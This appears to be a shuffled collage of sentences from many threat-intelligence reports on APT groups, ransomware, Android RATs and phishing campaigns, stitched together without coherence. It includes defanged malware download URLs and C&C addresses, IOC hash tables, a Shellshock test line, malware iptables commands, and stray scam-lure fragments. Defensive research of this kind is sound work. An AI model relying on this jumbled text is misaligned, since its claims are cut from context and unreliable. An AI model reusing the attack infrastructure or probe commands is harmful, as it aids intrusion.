Examples of related Office documents uploaded to VirusTotal: https://www.virustotal.com/gui/file/656d19186795280a068fcb97e7ef821b55ad3d620771d42ed98d22ee3c635e67/detection https://www.virustotal.com/gui/file/851bf4ab807fc9b29c9f6468c8c89a82b8f94e40474c6669f105bce91f278fdb/detection


Lateral movement


Upon further investigation, they found that usernames, email addresses, salted and hashed passwords, nicknames, preferred languages, countries and time zones had been compromised.


The malware will then delete the scheduled tasks added by the loader and add two new scheduled tasks that are listed in Table 1.


Figure 8 shows the partial source code for this JavaScript.


Sofacy Group has been associated with many attacks against targets around the world, including the International Olympic Committee (IOC) in 2018, the World Anti-Doping Agency in 2016, the Dutch Safety Board in 2015, and German, French, Ukrainian, and Dutch political and military targets throughout 2014 through 2018.


Figure 3. Deobfuscated Perl payload from the delivery document Dropper analysis


Throughout the runtime of PClock2, it makes multiple HTTP POST requests to a remote server using the same characteristics, including the ‘PO[TID]’ and the current time.


We don’t just tell you these individual events have all occurred – we connect the dots for you, showing that they might be related and have similar indicators of compromise as a certain attack group or type.


We have privately disclosed our findings to GitHub prior to this publication and are proactively working with them about this threat.


Trojan.


Unlike other cybercriminal schemes, phishing and BEC scams can be tricky to detect as they are targeted toward specific recipients.


This week, the results of this year's round of the MITRE Engenuity ATT&CK Evaluations were released, which focused on Carbanak+FIN7.


Once any of these malware strains are detected, system administrators should drop everything, take systems offline, and audit and remove the malware as a top priority.


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Figure 1. The login panel of BIOPASS RAT       Figure 2. Code showing the watering hole attack injection     The injected script will try to scan the affected host by sending HTTP requests to a list of ports.


As we’ve observed with cybercriminal groups that aim to maximize profits for every campaign, silence doesn’t necessarily mean inactivity.


The below PlugX sample was only detected as PlugX malware by two AV vendors.


According the (now removed) Google Play listing, the app was downloaded and installed between 1 million and 5 millions times.


We have not been able to independently determine how these attacks were conducted.


The list supports 36 different versions of memory offsets for the message client.


This backdoor provided the attacker with complete access to the targeted organization’s network.


Additionally, the spyware will open hxxp://miakhalifagame[.]com/get_access2[.]php when first installed.


Description Decryption Strings


As always, we continue to publish details surrounding the actions we take against coordinated influence operations in our quarterly TAG bulletin.


VPNFilter, first discovered in 2018, targeted router and storage devices.


Phase 1: Just ransomware.


Another added element this year which deserves a special mention was the introduction of a Linux servers, where we detected all 14 techniques executed in the simulated attack scenario.


The group's tactics, techniques and procedures (TTPs) for these campaigns have shifted slightly from including phishing links directly in the email, to also linking to PDFs and/or DOCs hosted on Google Drive and Microsoft One Drive.


The third is likely due to the lack of overlap between mutex names.


Here again, taking time to set up good strong passwords is key.


Security products that take a comprehensive, layered approach can help prevent these attacks.


Figure 1: fake website with a link to download the Fuddi Duniya app.


Since Android 8.0 is a relatively recent release, this means that nearly all Android users should take action today and apply updates that are available to address this vulnerability.


This breach might be associated with Water Pamola, and it hints that this campaign’s overall goal is to steal the credit card data (similar to Magecart campaigns).


In one of the first cases we encountered, the senior financial officer of a bank located in Africa purportedly sent a PDF invoice to a colleague, specifying a bank account in Hong Kong.


The magic value 0xFEEDFACF that belongs to Mach-O Executable (64 bit) Methods GET_LAUNCHNAME and GET_LABELNAME will return the hardcoded name of the property list “.plist” for the root user (com.apple.screen.assistantd.plist) and for the regular user (com.apple.spell.agent.plist).


The team continues to work around the clock, focusing on the safety and security of our users and the platforms that help them access and share important information.


As you can see from the above diagram, all of these are end goals for most attacks.


The infection chain includes an additional (albeit empty) function imported from loadoerf.ini, gzwrite64, which works as a fake Application Program Interface (API) that serves as the payload’s entry point.


Google’s Threat Analysis Group (TAG) continues to closely monitor the cybersecurity environment in Eastern Europe with regard to the war in Ukraine.


PuppetLoader


And as others have reported, we’re seeing a resurgence in COVID-related hacking and phishing attempts from numerous commercial and government-backed attackers.


In addition to our threat prevention signatures, we analyzed the alerts triggered in Cortex XDR and found 116 events between April 4 and April 8.


We also know that threat actors are actively scanning for misconfigured cloud environments.


Additional “fun app” applications, all contain the Funtasy Trojan.


The top three samples we observed spreading in early 2021 were Ryuk, Maze, and Sodinokibi.


A closer look at the HTA file revealed that the mshta.exe downloads and executes the remotely hosted HTA file.


Figure 11 shows a comparison of the exfiltration commands between malware previously attributed to APT37 and Operation Earth Kitsune.


A patch resolving the issue has been posted by Atlassian.


Port scanning tools, which are available on the internet.


The handler for MSG_SYNC executes the following functionality: First, it enumerates all files under <DIR>/.android/.lib2.


This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q2 2022.


One of the most notable characteristics of APT35 is their impersonation of conference officials to conduct phishing attacks.


This is known as the principle of least privilege.


The idea is that by chance some percentage of the phishing emails will look legitimate enough to the recipient to be successful.


Unfortunately, during our study of apps posted in the Google Play Store we collected approximately 246,000 Android apps but only 11,681 certificates.


According to CISA, the APT actor is accountable for the compromise of the SolarWinds Orion supply chain.


This year’s evaluation saw vendors detect and respond to tactics, techniques, and procedures (TTPs) from two emulated adversary scenarios that are broadly defining modern ransomware today — Wizard Spider, a cybercriminal extortion gang, and Sandworm, a disruptive threat group focused on data destruction.


However, looking around the related URLs ps tries to connect to, we found mage[.]ignorelist[.]com containing a compressed file, dota[.]tar[.]gz.


How to Defend Against it These malware attacks utilize email phishing, and relies on targets opening the malicious email attachment.


FreeMilk is an advanced spear phishing attack campaign that, instead of using a theme to lure targets into downloading a malicious attachment, hijacks an in-progress email conversation.


Code snippet of register.bat Uninstall.exe is a copy of the open-source hacking tool Mimikatz (https://github[.]com/gentilkiwi/mimikatz).


That just makes sense.


The downloader then proceeds to execute this downloaded file in a new process.


Payload as RMS RAT TA505 also uses RMS, a legitimate RAT, in their campaigns.


If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:  As further information or detections are put into place, Palo Alto Networks will update this publication accordingly.


13. Targeted files greater than one megabyte are truncated to one megabyte when overwritten.


If the victim enters any phone number and clicks “SUBMIT,” the text field will be replaced by the message “Phone Number Not Found.”


We also observed the execution of a password recovery tool XenArmor with C:\temp\pass\start.exe.


While analyzing this android RAT, we saw several similar capabilities to the CrimsonRat malware that the group usually uses to infect Windows systems.


Fully decoding the Mach-O was necessary to obtain all the strings representing the dynamically loaded functions used in the binary.


While businesses, sporting events, and schools started shutting down, cybercriminals remained active as ever.


One interesting difference between this program and other Fake AV apps is “AntiVirus for Android™” will actually provide real antivirus services to paid users.


By sharing this additional technical observation, we aim to help network defenders, as well as those likely to be targeted by APT groups (such as Sandworm), gain a more complete picture of the Cyclops Blink campaign.


Note that the weaponized document was crafted to look like it came from CSBA but does not imply that CSBA or its related assets have been compromised


Koadic commands and output when ANEL 5.1.1 rc is used  Figure 7.


Frameworks like Docker, Node.js, Symfony, and Django use ENV files to store environment variables such as API tokens, passwords and database logins.


We believe this is a technique the attacker is using to evade detection rules.


File System Traversal 0x500C


For example, they all use the Timer object to check if a Vector object is modified.


Usually, after the ransomware successfully installs, it pops up a message box or leaves text files to explain how to pay the ransom – the ransom note.


IT and security teams should restrict or disable outdated components, and habitually monitor websites and applications for any indicators of suspicious activity that could lead to data exfiltration, execution of unknown scripts, or unauthorized access and modification.


Table 3


Thank you.)


Activity on Google services was limited, but we enforced across our products swiftly.


In the past year alone, Microsoft patched 122 IE vulnerabilities, the majority of which were use-after-free bugs.


Network Security: cloud network layer IPS security Application Security: security for serverless functions, APIs, and applications Conformity: real-time security for cloud infrastructure — secure, optimize, comply  Indicators of Compromise (IOCs)  SHA-256  Detection  Description  9504b74906cf2c4aba515de463f20c02107a00575658e4637ac838278440d1ae  Backdoor.Linux.TSUNAMI.USELVBF21  IRC bot  3139a85a18e42bf60ba65deb3d691b5c088a0fac2b80a4d05f17a68eac3d4882  TrojanSpy.SH.AWSTEAL.A  Script       Tags  Cloud | APT & Targeted Attacks | Research | Articles, News, Reports


Figure 15 shows a plot with “Y” representing the number of actions.


For more information about the OT Defender Fellowship, visit https://inl.gov/otdefender/        Tags  Latest News | ICS OT | APT & Targeted Attacks | IoT | Articles, News, Reports


Utilizing a security platform approach can help build your cloud to be more secure, but educating your architects and administrators will also help.


While thanking you for your cooperation, please believe in the assurance of my distinguished feelings.


Now that the threat group has been granted access to the organization’s network, they must collect the necessary information needed to complete their objective.


Trend Micro’s Mobile App Reputation Service (MARS) covers Android and iOS threats using leading sandbox and machine learning technologies to protect users against malware, zero-day and known exploits, privacy leaks, and application vulnerabilities.     Indicators of Compromise    SHA256 Package Name/File type App Name/Detection Name ec4d6bf06dd3f94f4555d75c6daaf540dee15b18d62cc004e774e996c703cb34 DEX AndroidOS_SWinderSpy.HRXA a60fc4e5328dc75dad238d46a2867ef7207b8c6fb73e8bd001b323b16f02ba00 DEX AndroidOS_SWinderSpy.HRXA


Follow-on phases would see the use of DDoS or other volumetric, availability-based attacks against systems that couldn’t be compromised in the first round of attacks.


Browser64 is a tool that extracts credentials from the following applications:  Chrome Chromium Firefox Opera Internet Explorer Outlook       Figure 8.


Figure 3.


Credential phishing through a compromised website demonstrates these attackers will go to great lengths to appear legitimate – as they know it's difficult for users to detect this kind of attack.


The following are the MITRE ATT&CK tactics and techniques associated with DarkSide.


But more capable, patient, and stealthy attackers are getting better at being evasive, knowing that EDR may be or is deployed.


We believe there are different versions of the Taomike SDK and only some of them include SMS uploading behavior.


The network traffic generated by each Trojan uses the HTTP protocol, and despite its use of port 443, is not encrypted with SSL.


The ‘1828’ represents the thread ID (TID) of the malware, while the ‘rnd’ GET variable is randomly generated.


We conclude that a tunneling connection to the C&C server could not be established, even after attempts to do so with two different tools.


Using Amadey to distribute EmailStealer On April 24, we detected an attack that used Amadey as its first stage payload.


APT35 has relied on this technique since 2017 — targeting high-value accounts in government, academia, journalism, NGOs, foreign policy, and national security.


Follina is a remote code execution (RCE) vulnerability in the Microsoft Windows Support Diagnostic Tool (MSDT).


We’ve seen examples of this just recently, when CVE-2017-11882 was exploited in the wild, paving the way to other exploits like CVE-2018-0802, both of which exploit flaws in the equation editor, enabling attackers to get from the user opening an Office document to remote code execution.


Significant changes in the binary


(*) A full mitigation will require relevant changes in the RTPS specification.


The commands are as follows:  iptables -D OUTPUT -p tcp --dport %d -j ACCEPT   iptables -I OUTPUT -p tcp --dport %d -j ACCEPT


With the increasing value of cryptocurrency, such as bitcoin and Ethereum, and a better business model with higher returns than malware- and exploit-type attacks, it’s no surprise these types of attacks are becoming more commonplace.


We then decompiled the python executable using pyinstxtractor.py to get all of the Python bytecode files.


Further analysis of this filestealer revealed interesting links with other threat actor groups.


In terms of who’s been affected by this operation, again, we can only see half of those who have been affected.


The MSI Installer itself contains a FlawedAmmyy downloader, which is always signed.


1.      “subprocess”: executes a system command using the Python function “subprocess.Popen”.


Figure 10. Creating a new account with admin rights      Figure 11. Checking for antivirus processes running     During the scan, we observed an attempt to terminate security products initiated via TaskKill.


Finally, the malware changes the victim’s wallpaper and generates a GUI instructing the victim how they can provide payment and retrieve their files.


The spam the attackers use no long has a malicious attachment but instead a malicious link that downloads the malicious Hancitor attachment.


However, this is a separate series of attacks from their operation in Taiwan, which this report covers.


A security researcher in the United Kingdom initially registered this domain in order to track this threat, and soon discovered that in doing so, he had enabled this “killswitch”, causing a number of instances of WanaCrypt0r to not execute for a large number of infected systems.


The domain "mykessef[.]com" was used for the C&C server earlier.


Act fast!


TAG has also continued to observe multiple ransomware brokers continuing to operate in a business as usual sense.


Maintaining Access:


Exfiltration


We use email authentication to protect against email spoofing, which is when email content is changed to make the message appear from someone or somewhere other than the actual source.


The script used to exfiltrate WeChat chat database files     The other plug-in, “xss_spoof”, is an archive that contains multiple Python scripts.


The plugin has been designed to drop multiple PHP web shell files on the server.


But because of the SSRF vulnerability, attackers can query the internal backend services and APIs on the Exchange Server, bypassing the frontend proxy.


“Resume” or “portfolio document” are examples of archive file names, and the archive contains one or more pieces of malware with fake document file icons.


On March 16 while ingesting a third-party data feed, our in-house machine learning models detected a phishing webpage targeting a Ukrainian state administration employee.


Although believed to have been active since 2011, TeamTNT stayed under the radar for many years before exploding onto the scene in 2020.


Imagine having to click through “Are you sure?” dialog boxes for every document or picture you opened in a day.


Usually, the more successful ransomware operators put a lot of effort into establishing and maintaining some semblance of “integrity” as a way of facilitating ransom payments from victims.


However, we found that all the registrant data was untraceable.


We set out to determine if this updated version of PClock holds up to some of the more prominent families.


At the time of release, Microsoft affirmed that they had not yet seen the vulnerability exploited in the wild (ITW).


Additionally, the risk of arrest and conviction is significantly lower than with ransomware, as mining cryptocurrency is less likely to generate reports to law enforcement than a data-destroying ransomware infection.


Our research shows this operation to be only about four months old.


Figure 1.


We also observed that Mailto (AKA NetWalker) tends to deliver ransomware in a highly obfuscated PowerShell script.


The attackers placed links to the exploit kit within hidden iframes, which they embedded on both websites they owned as well as some websites they compromised.


The result is a win-win for ISVs like Trend Micro and security-minded AWS customers.


Code snippet of the device’s Unix timestamp being sent to 0046769438867 Subsequently, the Maikspy-carrying app will display "Error: 401. App not compatible.


The registered Service Worker script can hijack login credentials and modify the webmail page to add malicious scripts in case the attackers were unable to inject the XSS vulnerability mentioned above.


Partially Mitigated*


In contrast to commercial surveillance vendors, who we generally observe selling a capability for the end user to operate, hack-for-hire firms conduct attacks themselves.


So far, Palo Alto Networks is only seeing indications of testing within our customer telemetry indicated by final payload execution of benign executables such as calc.exe and notepad.exe.


Although this type of malware can be configured to be persistent on the victim's machine, these actors are running all malware in non-persistent mode as a smash-and-grab technique.


Jon:


Malware analysis rshell


It’s no coincidence that the global market for such solutions will grow at nearly 17% CAGR over the next six years to exceed $263 billion by 2027.


In addition to taking steps so the attacker’s page mimics a legitimate one,  attackers often mirror well known security images, like the lock symbol, to convince you that you are on a secure site.


This means that what you would do for security for your digital home assistant would apply to smart speakers as well.


So basically you have two choices:


We observed this group using another Android RAT — TrendMicro has named this “CapraRat”— which is possibly a modified version of an open-source RAT called AndroRAT.


We are continuously improving our detection methods and investing in new tools and features that automatically identify and stop threats like this one.


1. Use a Password Manager:


Our findings underscore the extent to which commercial surveillance vendors have proliferated capabilities historically only used by governments.


The macros directly download the file created using NSIS installer from hxxp://45[.]67[.]229[.]36/p2, which is the same binary we found in the .ISO and .LNK files that install ServHelper.


As of this writing, no proofs of concept for exploitation of CVE-22972 or CVE-2022-22973 are known.


Figure 12.


The sites typically feature fake login pages that prompt potential victims to give up their Google account credentials, and occasionally encourage individuals to give up other personal information, such as their phone numbers.


The spear-phishing attack


N/A  0b94e123f6586967819fa247cdd58779b1120ef93fa1ea1de70dffc898054a09  Google Drivemonitor.exe  keylogger


To add resilience to their infrastructure, the operators have also implemented a backup mechanism using the Bitcoin blockchain.


Internet Explorer is used in many of the networks Palo Alto Networks protects around the world and we’re doing our part to make it as secure as possible.


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But as we noted earlier, apps signed by the same certificate can automatically grant sharing relationships amongst themselves.


The tangible and intangible impacts of this loss of control vary based on respective backdoor capabilities, and may include the following: leakage of authentication credentials, loss of intellectual property, exposure of sensitive information, negative standing or reputation, and various levels of liability for actions executed on or from the compromised asset.


Run registry key We assume that RunPow stands for “run PowerShell,” and triggers the PowerShell code embedded inside the .dll file.


And many smart speakers have digital home assistants built into them, making the distinction even less clear.


Other reporting from Microsoft has linked this spyware to the compromise of dozens of victims, including political dissidents, human rights activists, journalists, and academics.


public void ManageTakeOut() { string text = "PipeName";


Google Safe Browsing helps protect over four billion devices every day by showing warnings to users when they attempt to navigate to unsafe sites or download harmful files.


If we went even further, all three vulnerabilities are Use-After-Free bugs.


A very serious campaign was launched between January 19, 2015 and January 20, 2015, and  Palo Alto Networks Enterprise Security Platform has discovered more than 1000 unique attacks since.


As always, we recommend keeping your Microsoft products up to date with the latest patches to mitigate this vulnerability.


This vulnerability is being referred to as MS14-066.


Full visualization of the techniques observed, relevant courses of action and indicators of compromise (IoCs) related to this report can be found in the Unit 42 ATOM viewer.  We will continue to provide updates with new information and recommendations as they become available.


Decoded “join” event sent to the C&C server.


As always, we recommend our customers patch their systems as soon as possible.


On any given day, Google's Threat Analysis Group (TAG) is tracking more than 270 targeted or government-backed attacker groups from more than 50 countries.


ورش مجانية.zip 5e2642f33115c3505bb1d83b137e7f2b18e141930975636e6230cdd4292990dd PUA.Win32.RemoteUtilities.A Archive containing RemoteUtilities مکتالمنحالدراسیة.zip b2f429efdb1801892ec8a2bcdd00a44d6ee31df04721482a1927fc6df554cdcf PUA.Win32.ScreenConnect.P Archive containing ScreenConnect المنح الدرایةس.exe 3e4e179a7a6718eedf36608bd7130b62a5a464ac301a211c3c8e37c7e4b0b32b PUA.Win32.ScreenConnect.P ScreenConnect remote access software  Network  23.94.50.197:444 23.95.215.100:443 23.95.215.100:8080 87.236.212.184:443 87.236.212.184:8008      Tags  APT & Targeted Attacks | Articles, News, Reports |


Figure 10.


d0d626deb3f9484e649294a8dfa814c5568f846d5aa02d4cdad5d041a29d5600 1b476f58ca366b54f34d714ffce3fd73cc30db1a


Figure 5.


Get and upload installed APP list getmsgdata Get and upload received SMS getmsgdatasent Get and upload sent SMS getaccounts


In 2021, Trend Micro published a technical analysis of VPNFilter, which includes a discussion of how the botnet continues to affect infected systems two years after its discovery.


Trend Micro Solutions Customers of the Trend Micro™ TippingPoint™ solution are protected from this threat via these MainlineDV filters:  2573: MINER - TCP (Request)    Indicators of Compromise (IoCs)  File name SHA256 Detection rsync 0d71a39bbd666b5898c7121be63310e9fbc15ba16ad388011f38676a14e27809 Backdoor.Perl.SHELLBOT.AB ps bb1c41a8b9df7535e66cf5be695e2d14e97096c4ddb2281ede49b5264de2df59 Backdoor.Linux.SSHDOOR.AB cron 4efec3c7b33fd857bf8ef38e767ac203167d842fdecbeee29e30e044f7c6e33d Coinminer.Linux.MALXMR.UWEJN anacron 66b79ebfe61b5baa5ed4effb2f459a865076acf889747dc82058ee24233411e2 tsm32 0191cf8ce2fbee0a69211826852338ff0ede2b5c65ae10a2b05dd34f675e3bae Trojan.Linux.SSHBRUTE.A tsm64 085d864f7f06f8f2eb840b32bdac7a9544153281ea563ef92623f3d0d6810e87   URLs • 146[.]185[.]171[.]227:443   • C&C for Backdoor.Perl.SHELLBOT.AB - 5[.]255[.]86[.]129:3333   • C&C for Backdoor.Linux.SSHDOOR.AB - 54[.]37[.]70[.]249/.satan  • 54[.]37[.]70[.]249/rp  • hxxp://54[.]37[.]70[.]249/.x15cache  • hxxp://54[.]37[.]70[.]249/dota2.tar.gz  • hxxp://54[.]37[.]70[.]249/fiatlux-1.0.0.apk   • APK file hosted on this server - hxxp://mage[.]ignorelist[.]com/dota.tar.gz  • mage[.]ignorelist[.]com  • zergbase[.]mooo[.]com         Tags  Malware | APT & Targeted Attacks | Endpoints | Research


This particular registry key is used to hold the latest state of the malware.


Generally, 2020 has been dominated by COVID-19.


Related Malware hashes: Top Phishing Domains:


The malware sends an HTTP POST request to a Google DNS Server (8.8.8.8) using the following headers:      Figure 11.


It has several methods for infecting its targets of interest: spear phishing emails, watering hole attacks, and exploiting a remote code execution vulnerability (CVE-2016-7836, patched last March 2017) in SKYSEA Client View, an IT asset management software widely used in Japan.


This key has to be valid for at least 25 years.


In previous posts, we discussed targeting of health organizations as well as attacker efforts to impersonate the World Health Organization.


In this environment, security remains a persistent concern for cloud builders, because if not properly managed, investments can increase the digital attack surface.


We encourage anyone who discovers a Chrome vulnerability to report that activity through the Chrome Vulnerabilities Rewards Program submission process.


Indicators: The Follina vulnerability (CVE-2022-30190), first disclosed in late May, received significant usage from both APT and cybercrime groups throughout June after it was patched by Microsoft.


In Alert AA22-011A (updated March 1, 2022), the U.S. Department of Homeland Security’s Cybersecurity and Infrastructure Security Agency (DHS/CISA) identifies a selection of vulnerabilities that Russian advanced persistent threat (APT) groups are assessed to have exploited in the past, but recommends that users take action against a much broader list of known exploited vulnerabilities (KEVs).


While several top-tier RaaS affiliate programs, such as Babuk, DarkSide and REvil (aka Sodinokibi) disappeared from the underground in 2021, LockBit 2.0 continued to operate and gradually became one of the most active ransomware operations.


As a result of these attacks, numerous government websites were found to be either defaced or inaccessible.


Please mark, I'm not a robot!


The malware downloads OBS Studio files if the OBS folder and config file are not found in the root directory.


We also observed a significant amount of exploit attempts using content that again was a modification of the initial webshell in the proof-of-concept.


9002 RAT is the decrypted rcview.log payload, which connects to the command-and-control (C&C) server at 66[.]42[.]37[.]101.  Figure 2. Contents of the malicious update configuration   Figure 3. How the compromised update process launches the 9002 RAT malware  Figure 4.


In a slightly different technique still targeting Korean enterprises, the .ISO files either contained an .LNK file such as the previous iteration, or a .NET-compiled downloader.


We did catch four C&C IP addresses, all hosted on a legitimate service.


Opening the documents will enable the macros and download the same FlawedAmmyy downloader as the .ISO file iteration from hxxp://92[.]38[.]135[.]67 or hxxp://27[.]102[.]70[.]196, with filenames k1 or k2.


Bytes: 30 0D 06 09 2A 86 48 86  F7 0D 01 01 0B 00 00


The team continues to work around the clock, focusing on the safety and security of our users and the platforms that help them access and share important information.


It made good use of these tools to achieve its goal and keep its operation hidden and unobstructive.


For many users, this could actually be a positive development, as the negative impact of having resources sapped from one’s computer is much less than paying a ransom or restoring your system from a backup due to ransomware.


And kernel APC attacks do this while still maximizing the power and control that the code has on the target system.


Upon successful connection it will send the string "¡°MlCROS0FT|1.2 Apr 26 2014  02:37:05|Linux Kernel Version¡±" and will wait for an "Auth" packet from the server.


After the data is encrypted, it is then base64-encoded using a custom alphabet.


Compliance & Risks | Articles, News, Reports


Indicators of Compromise (IoCs)  DOCX file SHA256 Detection Name 0d90fe36866ee30eb5e4fd98583bc2fdb5b7da37e42692f390ac5f807a13f057 W97M_CVE20170199.ZYHC-A 036c2088cb48215f21d4f7d751d750b859d57018c04f6cadd45c0c4fee23a9f8 Trojan.W97M.CVE20170199.PG 19d03a25af5b71e859561ff8ccc0a073acb9c61b987bdb28395339f72baf46b4 Trojan.XML.PHISH.AE 62cf22f840fffd8d8781e52b492b03b4efc835571b48823b07535d52b182e861 W97M_CVE20170199.ZKHC-A 8310d39aa1cdd13ca82c769d61049310f8ddaea7cd2c3b940a8a3c248e5e7b06 Trojan.W97M.CVE20170199.PF 84e0b1d94a43c87de55c000e3acae17f4493a57badda3b27146ad8ed0f90c93e Trojan.W97M.CVE20170199.PG 85267e52016b6124e4e42f8b52e68475174c8a2bdf0bc0b501e058e2d388a819 Trojan.W97M.CVE20170199.PF b6a94f565d482906be7da4d801153eb4dab46d92f43be3e1d59ddd2c7f328109 Trojan.W97M.CVE20170199.PF cc775e3cf1a64effa55570715b73413c3ea3a6b47764a998b1272b5be059c25b Trojan.W97M.CVE20170199.PF      DOT file SHA256 Detection Name TrendX 00b761bce25594da4c760574d224589daf01086c5637042982767a13a2f61bea Mal_OLEMAL-4 Downloader.VBA.TRX.XXVBAF01FF007 250b09f87fe506fbc6cedf9dbfcb594f7795ed0e02f982b5837334f09e8a184b Mal_OLEMAL-4 4b3ae36b04d6aba70089cb2099e6bc1ba16d16ea24bbf09992f23260151b9faf Mal_OLEMAL-4 946405e2f26e1cc0bd22bc7e12d403da939f02e9c4d8ddd012f049cf4bf1fda9 Mal_OLEMAL-4 9cd5fa89d579a664c28da16064057096a5703773cef0a079f228f21a4b7fd5d2 Mal_OLEMAL-4 c089ccd376c9a4d5e5bdd553181ab4821d2c26fefc299cce7a4f023a660484d5 Mal_OLEMAL-4 e888b5e657b41d45ef0b2ed939e27ff9ea3a11c46946e31372cf26d92361c012 W97M_VBSDOWNLDR.ZKHC-A f577d2b97963b717981c01b535f257e03688ff4a918aa66352aa9cd31845b67d W97M_VBSDOWNLDR.ZYHC-A      SHA256 Detection Name TrendX 17161e0ab3907f637c2202a384de67fca49171c79b1b24db7c78a4680637e3d5 Trojan.X97M.CVE201711882.THCOCBO Downloader.VBA.TRX.XXVBAF01FF006 29367502e16bf1e2b788705014d0142d8bcb7fcc6a47d56fb82d7e333454e923 TrojanSpy.Win32.FAREIT.UHBAZCLIZ N/A 315e297ac510f3f2a60176f9c12fcf92681bbad758135767ba805cdea830b9ee Trojan.X97M.CVE201711882.THCOCBO Downloader.VBA.TRX.XXVBAF01FF006 3e6166a6961bc7c23d316ea9bca87d8287a4044865c3e73064054e805ef5ca1a Backdoor.Win32.REMCOS.USMANEAGFG Troj.Win32.TRX.XXPE50FFF034 3f40d4a0d0fe1eea58fa1c71308431b5c2ce6e381cacc7291e501f4eed57bfd2 Trojan.MSIL.AGENTTESLA.THCOCBO N/A ab533d6ca0c2be8860a0f7fbfc7820ffd595edc63e540ff4c5991808da6a257d Trojan.X97M.CVE201711882.THCOCBO N/A b78a3d21325d3db7470fbf1a6d254e23d349531fca4d7f458b33ca93c91e61cd Backdoor.Win32.REMCOS.USMANEAGFE Troj.Win32.TRX.XXPE50FFF034 c9c0180eba2a712f1aba1303b90cbf12c1117451ce13b68715931abc437b10cd TrojanSpy.Win32.FAREIT.UHBAZCLIZ Troj.Win32.TRX.XXPE50FFF034     C&C addresses  Bambinos[.]bounceme[.]net bbtt[.]site bbtt[.]space harpa[.]site harpa[.]space harpa[.]website himym[.]site kristoffer[.]hopto[.]org kristom[.]hopto[.]org miragena[.]site miragena[.]xyz papir[.]hopto[.]org sabdja[.]3utilities[.]com sakira[.]3utilities[.]com seliconos[.]3utilities[.]com solod[.]bounceme[.]net sonik[.]hopto[.]org tele[.]3utilities[.]com violina[.]website voyager[.]myftp[.]biz voyaget[.]myftp[.]biz  Mitre ATT&CK Framework         Tags  Malware | APT & Targeted Attacks | Research | Spam | Articles, News, Reports


For example, users are provided visibility into the permissions requested by each app, and they are able to control those permissions.


High profile users of free webmail were targeted by campaigns between 2015 and 2016.


Running a search for the non-UTF-16LE string results in multiple files, and filtering for executables yields 10 results, the majority of which are NIM-based binaries – potentially linked to this GitHub repository.


Here’s an example:  $ env x='() { :;}; echo vulnerable'


Hacking collective Anonymous has also claimed responsibility for multiple hacktivist attacks in Russia.


Figure 1. Revix’s JSON-based configuration


This targeting is consistent with what others have subsequently reported.


These vendors are enabling the proliferation of dangerous hacking tools, arming nation state actors that would not otherwise be able to develop these capabilities in-house.


We analyzed our known WanaCrypt0r samples and extract the following Bitcoin (BTC) addresses likely associated with the attackers and associated totals:  This results in a total of 36 BTC, or roughly $63k based on the current price of BTC.


Typically, these websites would require its users to download the applications directly onto their devices.


Note: The case may be heard by the judge in your absence if you do not come.


var


The controller downloads the victim profiles from the server.


The campaigns were limited — in each case, we assess the number of targets was in the tens of users.


If your company runs Windows and relies on RDP, you can close off VNC, TeamViewer and the other 87 applications because you don’t need them.


Below are the various functionalities of RATANKBA’s controller:


(printdat.dll)


The Cortex Managed Threat Hunting team has detected several exploitation attempts.


The address was encoded by Base64 then set to referrer parameter in the URL used in the distribution of the malware.


Even with the best security technology, there is still a chance of an attack slipping through.


For instance, donatetoukraine[.]com is pretending to be associated with the popular Come Back Alive campaign.


Malicious content were also often distributed during lunchtime (Moscow’s timezone), and in very short intervals.


Explanation


They target a wide range of users and opportunistically take advantage of known security flaws when undertaking their campaigns.


The HTML code from the remote template is shown in Figure 1 below.


environment record module keep_enviorment_scehdular_alive


The exploit authors primarily used it to search for the addresses of dlopen and dlsym in memory.


During our Operation DRBControl investigation, we found a HyperBro sample that had 138[.]124[.]180[.]108 as its C&C. This second IP address had nbaya0u1[.]example[.]com as its reverse DNS.


Sharing cybersecurity knowledge to the private sector


At the end of initialization, it collects the information of the victim’s system and initializes values in the global config variable that contains important configuration information.


Unique URLs serving CVE-2021-33742 Internet Explorer exploit: http://lioiamcount[.]com/IsnoMLgankYg6/EjlYIy7cdFZFeyFqE4IURS1 http://db-control-uplink[.]com/eFe1J00hISDe9Zw/gzHvIOlHpIXB http://kidone[.]xyz/VvE0yYArmvhyTl/GzV


We believe its use is growing, fueled by demand from governments.


The functionality was not automated and it's unclear why it was removed in later versions.


Within the Visual Studio Project would be source code for exploiting the vulnerability, as well as an additional DLL that would be executed through Visual Studio Build Events.


Connections to other campaigns Earth Baku’s recent activities are related to another campaign that has been active since at least November 2018, as reported by FireEye and Positive Technologies.


Please mark, I'm not a robot!


They can also procure infrastructure, malware, communications tools and money laundering from other RaaS providers.


We have uncovered a cyberespionage campaign being perpetrated by Earth Baku, an advanced persistent threat (APT) group with a known history of carrying out cyberattacks under the alias APT41.


When a site identified by Safe Browsing as harmful appears in Google Search results, we show a warning next to it in the results.


Evasion


Recently observed Ghostwriter credential phishing domains and emails: Curious Gorge, a group TAG attributes to China's PLA SSF, has remained active against government, military, logistics and manufacturing organizations in Ukraine, Russia and Central Asia.


Mobile | Phishing


Avoiding the use of msiexec.exe


FRP is a fast reverse proxy used to expose a local server behind an NAT or a firewall to the internet.


Figure 4. Code showing the seven defined messages.


However, these new digital skimming attacks are different.


Other modern ransomware, such as Mespinoza/Pysa, modify the registries of infected systems during their respective routines to inform their victims that they have been compromised.


This script collected all available client information such as the user-agent, resolution, etc. and then sent it back to the exploitation server.


Additionally, Palo Alto Networks offers multiple, additional complementary protections for this exploit.


They also add programs to a startup folder that can be referenced with a registry run key.


It also has the capability to develop customized tools to evade security monitoring in different environments, and it exploits vulnerable websites and uses them as C&C servers.  In this blog, we outlined our new findings related to these threat actors to help possible targets in the transportation and other industries.


The domain gooogle[.]press masquerades as Google to trick users into downloading the app.


We received leads from Graphika that supported us in this investigation.


Most of the e-mail attacks used fake invoice, fax and voicemail themes with attachments named like the following:


The bottom line is that security takes a village.


